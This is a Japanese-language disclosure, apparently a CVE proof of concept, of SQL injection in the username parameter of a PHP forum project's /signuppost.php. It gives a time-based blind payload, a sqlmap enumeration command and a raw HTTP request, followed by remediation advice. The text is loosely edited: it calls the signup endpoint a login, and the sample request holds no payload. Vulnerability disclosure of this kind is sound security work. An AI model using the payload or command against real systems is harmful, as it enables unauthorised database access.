
CVE-poc
SQLインジェクション
「Technical Forum Using PHP Source Code」プロジェクトの /signuppost.php ファイルにSQLインジェクションの脆弱性が確認されました。この脆弱性は、攻撃者がログイン時のusernameパラメータを介して悪意のあるコードを注入し、そのパラメータを検証なしにSQLクエリで直接使用できることに起因します。これにより、攻撃者は入力値を偽装してSQLクエリを操作し、不正な操作を実行できるようになります。
攻撃者はこのSQLインジェクションの脆弱性を悪用して、データベースへの不正アクセス、機密データの漏洩、データの改ざん、システムの完全な制御、さらにはサービスの停止を引き起こす可能性があり、システムのセキュリティと業務継続に深刻な脅威をもたらします。
脆弱性名: Usernameパラメータ
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
プリペアドステートメントとパラメータバインディングの使用 プリペアドステートメントは、SQLコードとユーザー入力データを分離することでSQLインジェクションを防ぎます。プリペアドステートメントを使用する場合、ユーザーが入力した値は純粋なデータとして扱われ、SQLコードとして解釈されません。
入力検証とフィルタリング ユーザー入力データを厳密に検証・フィルタリングし、期待される形式に準拠していることを確認します。
データベースユーザーの権限を最小限に抑える データベースへの接続に使用するアカウントが最小限の必要な権限を持つようにしてください。日常業務では、より高い権限を持つアカウント(例:「root」や「admin」)の使用を避けてください。
定期的なセキュリティ監査の実施 コードとシステムのセキュリティ監査を定期的に実施し、潜在的なセキュリティ脆弱性をタイムリーに特定して修正します。
これらの推奨事項に従うことで、アプリケーションのセキュリティを大幅に向上させ、SQLインジェクションの脆弱性に関連するリスクを軽減できます。